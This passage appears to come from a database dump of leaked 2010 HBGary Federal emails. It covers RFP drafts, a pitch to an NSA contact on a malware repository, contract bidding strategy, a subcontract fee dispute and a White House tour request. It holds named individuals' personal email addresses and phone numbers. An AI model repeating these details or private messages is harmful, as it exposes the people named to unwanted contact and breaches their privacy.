v1_1.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16571,'aaron_hbgary_com/16571.html'),(4212,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002234.M800076P3547Q4212.eml','\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>','2nd Draft RFP','Guys,\r\n\r\nAttached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n\r\nThanks\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',12230,'aaron_hbgary_com/12230.html'),(4213,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002237.M313930P3547Q4213.eml','\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com','RFP','Guys,\r\n\r\nAttached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n\r\nThanks\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5562,'aaron_hbgary_com/5562.html'),(4214,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002238.M530987P3547Q4214.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','RFP','Guys,\r\n\r\nAttached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n\r\nThanks\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1154,'aaron_hbgary_com/1154.html'),(4215,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002241.M186506P3547Q4215.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>','RFP','Hi,\r\n\r\nAttached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n\r\nThanks\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8471,'aaron_hbgary_com/8471.html'),(4216,'2010-03-18','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297002241.M454991P3547Q4216.eml','\"Aaron Barr\" <aaron@hbgary.com>,vinod@csl.sri.com,porras@csl.sri.com','Re: RFP','Hi Aaron.  Tomorrow sounds good?  Did you mean 3pm ET or 3pm PT?  We\'ll\r\ngo over stuff and will generate comments.  Phil\r\n\r\nAt 10:48 PM 3/17/2010, Aaron Barr wrote:\r\n>Guys,\r\n>\r\n>Attached is the second draft with updated travel and WBS \r\n>sections.  The numbers don\'t exactly match yet, but they will \r\n>tomorrow and we will get out a final to you but I wanted to get this \r\n>out to you first for pricing purposes.\r\n>\r\n>Thanks\r\n>Aaron Barr\r\n>CEO\r\n>HBGary Federal Inc.\r\n>\r\n>\r\n\r\n',15993,'aaron_hbgary_com/15993.html'),(4217,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002245.M675888P3547Q4217.eml','\"Aaron Barr\" <adbarr@mac.com>','Fwd: Invitation to UNO Vendor Conference','\r\n\r\n',12346,'aaron_hbgary_com/12346.html'),(4218,'2010-03-18','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297002245.M974297P3547Q4218.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Personal question','Haven\'t forgotten about our other thing either - been swamped with S&T\r\nlegislative stuff.\r\nHope all is well\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 8:14 PM\r\nTo: Olcott, Jacob\r\nSubject: Personal question\r\n\r\nHi Jake,\r\nMy kids go to the Franklin montesorri school in DC and the teachers\r\nhave asked if anyone has any connections for tours of the whitehouse.\r\nI know it\'s a different branch and all but thought I would ask if you\r\nhave any mechanisms to get one or two preschool classrooms in for a\r\ntour.  It\'s a tall order but thought I would check.\r\n\r\nHope all is well on the legeslative front.\r\n\r\nThanks.\r\nAaron\r\n\r\n From my iPhone\r\n',8369,'aaron_hbgary_com/8369.html'),(4219,'2010-03-18','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','/aaron@hbgary.com/new/1297002246.M173223P3547Q4219.eml','\"Agarwal, Meena\" <Meena.Agarwal@mail.house.gov>,\"Agarwal, Meena\" <Meena.Agarwal@mail.house.gov>','RE: quick question about WH tours','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Meena &#8211; you&#8217;re obviously\r\nthe tour guru! &nbsp;\r\n\r\n&nbsp;I&#8217;m cc&#8217;ing my friend Aaron Barr\r\non this email to provide you with the details. (Aaron&#8217;s kids are in a class\r\nthat&#8217;s trying to get a tour &#8211; I&#8217;ll ask him to put their teacher in touch with\r\nyou.) \r\n\r\n&nbsp;\r\n\r\n-Jake\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Jake,\r\n\r\n&nbsp;\r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn&#8217;t really matter).&nbsp; I think our office has been pretty lucky\r\nfor tours-since I started in January I&#8217;ve had 4 tours accepted.&nbsp; Go ahead\r\nand forward me her information and I&#8217;ll get in touch with her.\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:&nbsp; 202.225.6231\r\n\r\nFax:&nbsp; 202.226.0112\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14192,'aaron_hbgary_com/14192.html'),(4220,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002246.M477689P3547Q4220.eml','\"Sandy Barr\" <freelybe@hotmail.com>','Fwd: quick question about WH tours','From my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: March 18, 2010 10:07:07 AM EDTTo: &quot;Agarwal, Meena&quot; &lt;Meena.Agarwal@mail.house.gov&gt;Cc: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\nThanks Meena – you’re obviously\r\nthe tour guru!  \r\n\r\n I’m cc’ing my friend Aaron Barr\r\non this email to provide you with the details. (Aaron’s kids are in a class\r\nthat’s trying to get a tour – I’ll ask him to put their teacher in touch with\r\nyou.) \r\n\r\n \r\n\r\n-Jake\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Jake,\r\n\r\n \r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn’t really matter).  I think our office has been pretty lucky\r\nfor tours-since I started in January I’ve had 4 tours accepted.  Go ahead\r\nand forward me her information and I’ll get in touch with her.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15527,'aaron_hbgary_com/15527.html'),(4221,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002246.M666635P3547Q4221.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: quick question about WH tours','Thank you Jake.AaronFrom my iPhoneOn Mar 18, 2010, at 10:07 AM, &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\nThanks Meena – you’re obviously\r\nthe tour guru!  \r\n\r\n I’m cc’ing my friend Aaron Barr\r\non this email to provide you with the details. (Aaron’s kids are in a class\r\nthat’s trying to get a tour – I’ll ask him to put their teacher in touch with\r\nyou.) \r\n\r\n \r\n\r\n-Jake\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Jake,\r\n\r\n \r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn’t really matter).  I think our office has been pretty lucky\r\nfor tours-since I started in January I’ve had 4 tours accepted.  Go ahead\r\nand forward me her information and I’ll get in touch with her.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7384,'aaron_hbgary_com/7384.html'),(4222,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002247.M282134P3547Q4223.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: Personal question','Going well.  We have had some good conversations up at NSA about\r\nthreat intelligence and better ways to share information.\r\n\r\nNo worries.  We can get together whenever.\r\n\r\nThanks again for the tour hookup.  That will be great.\r\n\r\nAaron\r\n\r\n\r\n\r\n From my iPhone\r\n\r\nOn Mar 18, 2010, at 10:07 AM, \"Olcott, Jacob\"  wrote:\r\n\r\n> Haven\'t forgotten about our other thing either - been swamped with S&T\r\n> legislative stuff.\r\n> Hope all is well\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, March 17, 2010 8:14 PM\r\n> To: Olcott, Jacob\r\n> Subject: Personal question\r\n>\r\n> Hi Jake,\r\n> My kids go to the Franklin montesorri school in DC and the teachers\r\n> have asked if anyone has any connections for tours of the whitehouse.\r\n> I know it\'s a different branch and all but thought I would ask if you\r\n> have any mechanisms to get one or two preschool classrooms in for a\r\n> tour.  It\'s a tall order but thought I would check.\r\n>\r\n> Hope all is well on the legeslative front.\r\n>\r\n> Thanks.\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',135,'aaron_hbgary_com/135.html'),(4223,'2010-03-18','rich@hbgary.com','/aaron@hbgary.com/new/1297002247.M51978P3547Q4222.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Malware Repository and Feed processeor','Hey Aaron don\'t you sleep? ;)  you\'re exactly right, this is a high speed, high stress environment, I love it!  Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 18 Mar 2010 01:28:38 -0400To: &lt;rich@hbgary.com&gt;Subject: Re: Malware Repository and Feed processeorGood to hear. &nbsp;Don\'t think I ever mentioned it but I used to do Red Team work a few years back. &nbsp;I loved that work, new environment, new challenges, quick reaction stuff, short time lines, then wrap up and do again. &nbsp;Hope your having a good time with it.AaronOn Mar 18, 2010, at 1:10 AM, rich@hbgary.com wrote:Good man Aaron!  Btw were kicking some ass down here in texas...   TtysSent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 17 Mar 2010 20:04:33 -0400To: Ted Vera&lt;ted@hbgary.com&gt;; Bob Slapnik&lt;bob@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;Subject: Fwd: Malware Repository and Feed processeorFYIFrom my iPhoneBegin forwarded message:From: \"Luber, David P.\" &lt;dpluber@nsa.gov&gt;\r\nDate: March 17, 2010 7:17:58 PM EDTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Malware Repository and Feed processeor\r\nAaron,Thanks again for the visit to our office the other day. I am currently in travel with a client, but I will get back with you when I return to the office on friday.\r\nThanks,Dave--------------------------Sent using BlackBerry----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Luber, David P.Cc: Rich Cummings &lt;rich@hbgary.com&gt;Sent: Tue Mar 16 23:35:29 2010Subject: Malware Repository and Feed processeor\r\nDave,Thank you for having us in to brief yesterday. &nbsp;I want to clarify your interest in a few things we discussed, specifically the malware repository and feed processor.\r\n1. Would you like some technical specifications and rough costs for the malware repository, feed processor, and portal, for planning purposes? &nbsp;If you were to want to integrate this into your operations, would you want it standalone or with some small number of bodies to maintain and train? &nbsp;These folks could help to develop classified traits, maintain the repository, aid in analysis using HBGary tools such as Responder and REcon.\r\n2. I was re-briefed today. &nbsp;Would you like to set up a follow-on conversation at a different level? &nbsp;Thinking this might help me better understand what your specifically looking for so I can help drive what we could deliver to you.\r\nA few other notes for thought. &nbsp;We have an existing capability that we are \"productizing\" called the Threat Management Center. &nbsp;It is a fully functioning capability today but not yet packaged/hardened in a way that we can directly sell it to customers. &nbsp;This is a combination of the repository, feed processor, modified DDNA, and some other automation to drive analysis reports on malware. &nbsp;We have also partnered with Palantir. &nbsp;Using the repository and other information we gather during a threat investigation, we are building threat maps in Palantir to help mature our understanding of particular threats or operations and their components (actors, C&amp;C, web artifacts, network activity, malware internals). &nbsp;Next step is to begin to correlate malware artifacts, traits, traits sequences, dependencies, to drive linkages between operations and the malware used. &nbsp;I think these maturing scenarios could greatly expand our ability to understand and track the threats as well as provide an increase in net defense capability (most SOCs/CERTs only have a few good analysts and the rest are average to new) by integrating the stored threat maps into the incident handling and analysis process.\r\nThank you,Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',1573,'aaron_hbgary_com/1573.html'),(4224,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002251.M366555P3547Q4224.eml','\"Ted Vera\" <ted@hbgary.com>','RFPs','',11844,'aaron_hbgary_com/11844.html'),(4225,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002251.M876148P3547Q4225.eml','\"Sandy Barr\" <freelybe@hotmail.com>,\"Sandy Barr\" <rnbmama@yahoo.com>','Fwd: quick question about WH tours','From my iPhoneBegin forwarded message:From: &quot;Olcott, Jacob&quot; &lt;Jacob.Olcott@mail.house.gov&gt;\r\nDate: March 18, 2010 10:07:07 AM EDTTo: &quot;Agarwal, Meena&quot; &lt;Meena.Agarwal@mail.house.gov&gt;Cc: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\nThanks Meena – you’re obviously\r\nthe tour guru!  \r\n\r\n I’m cc’ing my friend Aaron Barr\r\non this email to provide you with the details. (Aaron’s kids are in a class\r\nthat’s trying to get a tour – I’ll ask him to put their teacher in touch with\r\nyou.) \r\n\r\n \r\n\r\n-Jake\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Agarwal, Meena \r\n\r\nSent: Thursday, March 18, 2010 9:50 AM\r\nTo: Olcott, Jacob\r\nSubject: RE: quick question about WH tours\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nHey Jake,\r\n\r\n \r\n\r\nGenerally for a White House\r\ntour, the farther in advance you request a tour the better (the number of\r\npeople doesn’t really matter).  I think our office has been pretty lucky\r\nfor tours-since I started in January I’ve had 4 tours accepted.  Go ahead\r\nand forward me her information and I’ll get in touch with her.\r\n\r\n \r\n\r\nBest,\r\n\r\n \r\n\r\n \r\n\r\nMeena Agarwal\r\n\r\nOffice of Congresswoman Yvette\r\nD. Clarke\r\n\r\nPhone:  202.225.6231\r\n\r\nFax:  202.226.0112\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2494,'aaron_hbgary_com/2494.html'),(4226,'2010-03-18','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297002252.M145369P3547Q4226.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','RE: Antacid','Do we know if Gallup has been involved in these types (and\r\nclassification) of tasks for MOE?\r\n\r\nJohn Lovegrove\r\nDirector\r\nOffice: (703) 449-3812\r\nCell: (571) 294-5154\r\n\r\n\r\n\r\nTASC INTERNAL DISTRIBUTION ONLY\r\nThis e-mail, including attachments, is intended for the exclusive use of\r\nthe person or entity to whom it is addressed and may contain\r\nconfidential or privileged information. If the reader of this e-mail is\r\nnot the intended recipient or his or her authorized agent, the reader is\r\nhereby notified that any dissemination, distribution or copying of this\r\ne-mail is prohibited. If you think that you have received this e-mail in\r\nerror, please advise the sender by reply e-mail of the error and then\r\ndelete this e-mail immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, March 16, 2010 10:35 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Lovegrove, John (TASC)\r\nSubject: Re: Antacid\r\n\r\nGood to talk with you today.  A few comments and a question.  Question\r\nfirst.\r\n\r\nIs it possible to submit me for a re-issue of my badge so I can easily\r\nget access into the bldg and folks inside?  The are multiple \"customers\"\r\nfor the COIN group that I would like to get a feeling from as far as\r\ndirection, requirements, etc.\r\n\r\nComments based on our discussion today.  The SAIC teaming idea sounds\r\ninteresting.  At the end of the day what piece of that contract are you\r\nlooking for, is it just the development piece?  If so are they willing\r\nto give that piece to you since they are so weak in it?  If so then\r\nmaybe being a sub would be terrible in order to assure a win.  I would\r\ndefinitely want to know who they have filling marketing and advertising\r\nrole, if anyone, and if they have other developers, who are they?\r\n\r\nOn the risky side of going it as a prime without SAIC here is what I see\r\nas necessary to tell a winning story.\r\n1. Commercial grade marketing and advertising (foreign experience a huge\r\nplus - Leoni Industries or like).\r\n2. MOE - akamai, gartner, or combination.  The thing you have to be able\r\nto measure is the \"stickiness\" of the message.  More to talk about here.\r\n3. Commercial grade (or close to it) development especially mobile.  I\r\nthink we can tell a better mobile story than anyone else, but a strong\r\npartner would help).\r\n4.  Infrastructure (Improve ravenwings architecture, maybe use Abraxis,\r\nHP-EDS, or something else we concoct).  I think we can tell the best\r\nstory here.\r\n5. OPS especially operators familiar with that organization if possible.\r\nThis will be tough to beat SAIC unless we get a strong partner.  Abraxis\r\npeople are seen as higher quality but more expensive.  SAIC people are\r\nseen as competent and better priced.\r\n6.  Language and cultural relevance.  This is definitely important and\r\nthe more I think about it I think you can paint a very positive story\r\nhere because you have them and they have been doing media for quite some\r\ntime.  You don\'t need an army of them, just enough to help satisfy their\r\ngaps, yours and maybe a few adds could be the winner.  I actually have a\r\nfew SAIC native arabs I know that we can try and get if it gets to that.\r\n\r\nA few pluses to the story you can tell.  The current SCIF you own and\r\njust lease to NG.\r\n\r\nAs an option I would use the commercial idea we talked about as a priced\r\noption or something like it.\r\n\r\nJust a few notes.  Let me know what the next step is.  Another thing I\r\nthink we need to do is come up with a few gems to get them interested,\r\nthings we could do if on contract.  We were always known for coming up\r\nwith the creative ideas for the shop, when Ted and I started doing other\r\nthings it was commented that capability had gone away.  The current NG\r\nteam is technicians only, no creativity.\r\n\r\nBTW, we have already hired two people from the existing team and will\r\nhire more as we get work that fits the skill sets.  Eric Hallam, who is\r\nvery well liked by the customer is being hired by Lawrence Hill in COS.\r\n\r\nAaron\r\n\r\nOn Mar 15, 2010, at 9:49 AM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion\r\nto\r\n> John.\r\n> \r\n> John - Do we have any contacts at RavenWing?\r\n> \r\n> Thanks,\r\n> \r\n> Chris \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Sunday, March 14, 2010 12:09 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Ted Vera\r\n> Subject: Antacid\r\n> \r\n> Hey chris,\r\n> \r\n> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n> good idea to talk with RavenWing as another potential infrastructure\r\n> capability.  We might be able to improve their existing capability.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1901,'aaron_hbgary_com/1901.html'),(4227,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002252.M512928P3547Q4227.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: Antacid','Crap.  I said Gartner and I meant Gallup.  Thanks for mentioning it.  I went and spoke with Gallup a few years ago, and not to my knowledge, but based on my conversations with them, I saw the potential power they offer to something like this.\r\n\r\nMOE = web analytics, semantic analysis, surveys.\r\n\r\nAaron\r\n\r\nOn Mar 18, 2010, at 12:35 PM, Lovegrove, John (TASC) wrote:\r\n\r\n> Do we know if Gallup has been involved in these types (and\r\n> classification) of tasks for MOE?\r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n> TASC INTERNAL DISTRIBUTION ONLY\r\n> This e-mail, including attachments, is intended for the exclusive use of\r\n> the person or entity to whom it is addressed and may contain\r\n> confidential or privileged information. If the reader of this e-mail is\r\n> not the intended recipient or his or her authorized agent, the reader is\r\n> hereby notified that any dissemination, distribution or copying of this\r\n> e-mail is prohibited. If you think that you have received this e-mail in\r\n> error, please advise the sender by reply e-mail of the error and then\r\n> delete this e-mail immediately.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, March 16, 2010 10:35 PM\r\n> To: Clair, Chris (TASC)\r\n> Cc: Lovegrove, John (TASC)\r\n> Subject: Re: Antacid\r\n> \r\n> Good to talk with you today.  A few comments and a question.  Question\r\n> first.\r\n> \r\n> Is it possible to submit me for a re-issue of my badge so I can easily\r\n> get access into the bldg and folks inside?  The are multiple \"customers\"\r\n> for the COIN group that I would like to get a feeling from as far as\r\n> direction, requirements, etc.\r\n> \r\n> Comments based on our discussion today.  The SAIC teaming idea sounds\r\n> interesting.  At the end of the day what piece of that contract are you\r\n> looking for, is it just the development piece?  If so are they willing\r\n> to give that piece to you since they are so weak in it?  If so then\r\n> maybe being a sub would be terrible in order to assure a win.  I would\r\n> definitely want to know who they have filling marketing and advertising\r\n> role, if anyone, and if they have other developers, who are they?\r\n> \r\n> On the risky side of going it as a prime without SAIC here is what I see\r\n> as necessary to tell a winning story.\r\n> 1. Commercial grade marketing and advertising (foreign experience a huge\r\n> plus - Leoni Industries or like).\r\n> 2. MOE - akamai, gartner, or combination.  The thing you have to be able\r\n> to measure is the \"stickiness\" of the message.  More to talk about here.\r\n> 3. Commercial grade (or close to it) development especially mobile.  I\r\n> think we can tell a better mobile story than anyone else, but a strong\r\n> partner would help).\r\n> 4.  Infrastructure (Improve ravenwings architecture, maybe use Abraxis,\r\n> HP-EDS, or something else we concoct).  I think we can tell the best\r\n> story here.\r\n> 5. OPS especially operators familiar with that organization if possible.\r\n> This will be tough to beat SAIC unless we get a strong partner.  Abraxis\r\n> people are seen as higher quality but more expensive.  SAIC people are\r\n> seen as competent and better priced.\r\n> 6.  Language and cultural relevance.  This is definitely important and\r\n> the more I think about it I think you can paint a very positive story\r\n> here because you have them and they have been doing media for quite some\r\n> time.  You don\'t need an army of them, just enough to help satisfy their\r\n> gaps, yours and maybe a few adds could be the winner.  I actually have a\r\n> few SAIC native arabs I know that we can try and get if it gets to that.\r\n> \r\n> A few pluses to the story you can tell.  The current SCIF you own and\r\n> just lease to NG.\r\n> \r\n> As an option I would use the commercial idea we talked about as a priced\r\n> option or something like it.\r\n> \r\n> Just a few notes.  Let me know what the next step is.  Another thing I\r\n> think we need to do is come up with a few gems to get them interested,\r\n> things we could do if on contract.  We were always known for coming up\r\n> with the creative ideas for the shop, when Ted and I started doing other\r\n> things it was commented that capability had gone away.  The current NG\r\n> team is technicians only, no creativity.\r\n> \r\n> BTW, we have already hired two people from the existing team and will\r\n> hire more as we get work that fits the skill sets.  Eric Hallam, who is\r\n> very well liked by the customer is being hired by Lawrence Hill in COS.\r\n> \r\n> Aaron\r\n> \r\n> On Mar 15, 2010, at 9:49 AM, Clair, Chris (TASC) wrote:\r\n> \r\n>> Hi Aaron,\r\n>> \r\n>> We have not met with Abraxis yet.  I\'ll pass on the RavenWing notion\r\n> to\r\n>> John.\r\n>> \r\n>> John - Do we have any contacts at RavenWing?\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Chris \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Sunday, March 14, 2010 12:09 PM\r\n>> To: Clair, Chris (TASC)\r\n>> Cc: Ted Vera\r\n>> Subject: Antacid\r\n>> \r\n>> Hey chris,\r\n>> \r\n>> Have you all talked with abraxis, and if so how did it go?  Might be a\r\n>> good idea to talk with RavenWing as another potential infrastructure\r\n>> capability.  We might be able to improve their existing capability.\r\n>> \r\n>> Aaron\r\n>> \r\n>> From my iPhone\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14296,'aaron_hbgary_com/14296.html'),(4228,'2010-03-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002254.M295804P3547Q4229.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary wrap for GD work','OK, here is the story.\r\n\r\nGD Project B is with HBGary.  We sub to you.  We have sub\'d on this proposal\r\nin the past to others, and we have a fee, based upon numbers by John Cox, we\r\nput on top of it.  (It think it\'s a Indirect rates)  We can\'t \"change\" the\r\nrate we charge because it\'s a gov\'t customer and they have to be DCAA  rates\r\n(specifically ours)  We need to charge the same rate to all gov\'t customers.\r\nI talked to Ted this morning, and he is working with John, so we\'ll see how\r\nthis comes out.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 17, 2010 6:53 PM\r\nTo: Penny Leavy\r\nCc: Ted Vera\r\nSubject: HBGary wrap for GD work\r\n\r\nHi Penny,\r\n\r\nWhen we were talking earlier I forgot I wanted to talk to you about this,\r\nthere is something I am just not getting when I talk with Ted about it.\r\n\r\nThe contract is with HBGary which is being subcontracted to HBGary Federal\r\nto do the work, and Ted has been working with GD to come to a dollar figure\r\nthat works and gets the work done.  On top of our rates we put 17% for an\r\nHBGary wrap rate.  We didn\'t know any better, since in the services world,\r\nat least the government services world 17% is very high.  We have worked out\r\nthe numbers and at this rate, what we proposed we will be able to hire our\r\nweb developer, Aaron Spring to do the command post development.  If the\r\nrates are changed we will not be able to hire him, and we may not be able to\r\nget the work done because the hours will decrease.\r\n\r\nWhat I don\'t understand is why the fee has to be higher than 17%, since\r\nHBGary is actually not doing any work.  And since HBGary isn\'t doing any\r\nwork it doesn\'t make sense to put G&A or overhead because no HBGary bodies\r\nare being used.  I understand you haven\'t charged GD at this amount before,\r\nbut your folks are more expensive than ours and your G&A and overhead are\r\ndifferent, and since HBGary Fed is doing the work, to me it makes sense the\r\nrates would be less.  We have different cost models.\r\n\r\nAm I missing something?\r\n\r\nFor me the biggest concern is not having enough hours to do the work and\r\nalso not being able to hire Aaron Spring.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',6279,'aaron_hbgary_com/6279.html'),(4229,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002254.M524521P3547Q4230.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: HBGary wrap for GD work','Sounds good.\r\n\r\nOn Mar 18, 2010, at 1:00 PM, Penny Leavy-Hoglund wrote:\r\n\r\n>  have a fee, based upon numbers by John Cox, we\r\n> put on top of it.  (It think it\'s a Indirect rates)  We can\'t \"change\" the\r\n> rate we charge because it\'s a gov\'t customer and they have to be DCAA  rates\r\n> (specifically ours)  We need to charge the same rate to all gov\'t customers.\r\n> I talked to Ted this morning, and he is working with John, so we\'ll 